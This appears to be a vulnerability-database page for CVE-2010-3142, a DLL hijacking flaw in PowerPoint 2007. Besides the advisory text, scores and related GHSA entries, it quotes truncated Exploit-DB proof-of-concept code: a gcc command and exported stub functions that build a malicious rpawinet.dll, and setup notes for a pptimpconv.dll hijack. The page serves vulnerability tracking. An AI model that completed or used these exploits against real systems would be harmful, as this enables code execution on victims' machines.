CVE-2010-3142
published 2010-08-27CVE-2010-3142: Untrusted search path vulnerability in Microsoft Office PowerPoint 2007 allows local users, and possibly remote attackers, to execute arbitrary code and…
PriorityP352critical9.3CVSS 2.0
AVNACMAuNCCICAC
EXPLOIT
EPSS
16.31%
96.6th percentile
Untrusted search path vulnerability in Microsoft Office PowerPoint 2007 allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse rpawinet.dll that is located in the same folder as a .odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx file.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | office | — | — |
| microsoft | office | — | — |
| microsoft | powerpoint | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-p74q-fwcr-f7m7: Untrusted search path vulnerability in Microsoft Office PowerPoint 2007 allows local users, and possibly remote attackers, to execute arbitrary code a
ghsa_unreviewed·2022-05-17
CVE-2010-3142 [HIGH] GHSA-p74q-fwcr-f7m7: Untrusted search path vulnerability in Microsoft Office PowerPoint 2007 allows local users, and possibly remote attackers, to execute arbitrary code a
Untrusted search path vulnerability in Microsoft Office PowerPoint 2007 allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse rpawinet.dll that is located in the same folder as a .odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx file.
GHSA
GHSA-334f-5c7w-6p82: Untrusted search path vulnerability in Microsoft Office 2007 SP2 and 2010 allows local users to gain privileges via a Trojan horse DLL in the current
ghsa_unreviewed·2022-05-14·CVSS 9.3
CVE-2010-3337 [CRITICAL] GHSA-334f-5c7w-6p82: Untrusted search path vulnerability in Microsoft Office 2007 SP2 and 2010 allows local users to gain privileges via a Trojan horse DLL in the current
Untrusted search path vulnerability in Microsoft Office 2007 SP2 and 2010 allows local users to gain privileges via a Trojan horse DLL in the current working directory, aka "Insecure Library Loading Vulnerability." NOTE: this might overlap CVE-2010-3141 and CVE-2010-3142.
No detection rules found.
Exploit-DB
Microsoft PowerPoint 2007 - 'rpawinet.dll' DLL Hijacking
exploitdb·2010-08-25
CVE-2010-3142 Microsoft PowerPoint 2007 - 'rpawinet.dll' DLL Hijacking
Microsoft PowerPoint 2007 - 'rpawinet.dll' DLL Hijacking
---
/*
Exploit Title: Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll)
Date: August 25, 2010
Author: storm ([email protected])
Version: 2007 (12.0.6535.5002) SP2
Tested on: Windows Vista SP2
http://www.gonullyourself.org/
gcc -shared -o rpawinet.dll PowerPoint-DLL.c
.odp, .pothtml, .potm, .potx, .ppa, .ppam, .pps, .ppt, .ppthtml, .pptm, .pptxml, .pwz, .sldm, .sldx, and .thmx files are affected.
*/
#include
#define DllExport __declspec (dllexport)
DllExport void HttpFilterBeginningTransaction() { hax(); }
DllExport void HttpFilterClose() { hax(); }
DllExport void HttpFilterOnBlockingOps() { hax(); }
DllExport void HttpFilterOnResponse() { hax(); }
DllExport void HttpFilterOnTransactionComplete() {
Exploit-DB
Microsoft PowerPoint 2010 - 'pptimpconv.dll' DLL Hijacking
exploitdb·2010-08-24
CVE-2010-3142 Microsoft PowerPoint 2010 - 'pptimpconv.dll' DLL Hijacking
Microsoft PowerPoint 2010 - 'pptimpconv.dll' DLL Hijacking
---
/*
Exploit Title: Microsoft PowerPoint 2010 DLL Hijacking Exploit (pptimpconv.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://office.microsoft.com/en-us/powerpoint/
Version: 14.0.4760.1000
Tested on: Windows 7 x86 (6.1.7600)
Compile and rename to pptimpconv.dll, create a file in the same dir with one of the following extensions:
.odp / .pot / .potm / .potx / .ppa / .pps / .ppsm / .ppsx / .ppt / .pptm / .pptx / .pwz / .sldm / .sldx
This exploit does _not_ get triggered with the following file extensions:
.pothtml / .ppam / .ppthtml / .pptxml / .thmx
Double click & watch a nice calculator pop =]
*More shouts* to all the great guys at forums.hacking.org.il
*/
#include
#def
No writeups or analysis indexed.
2010-08-27
Published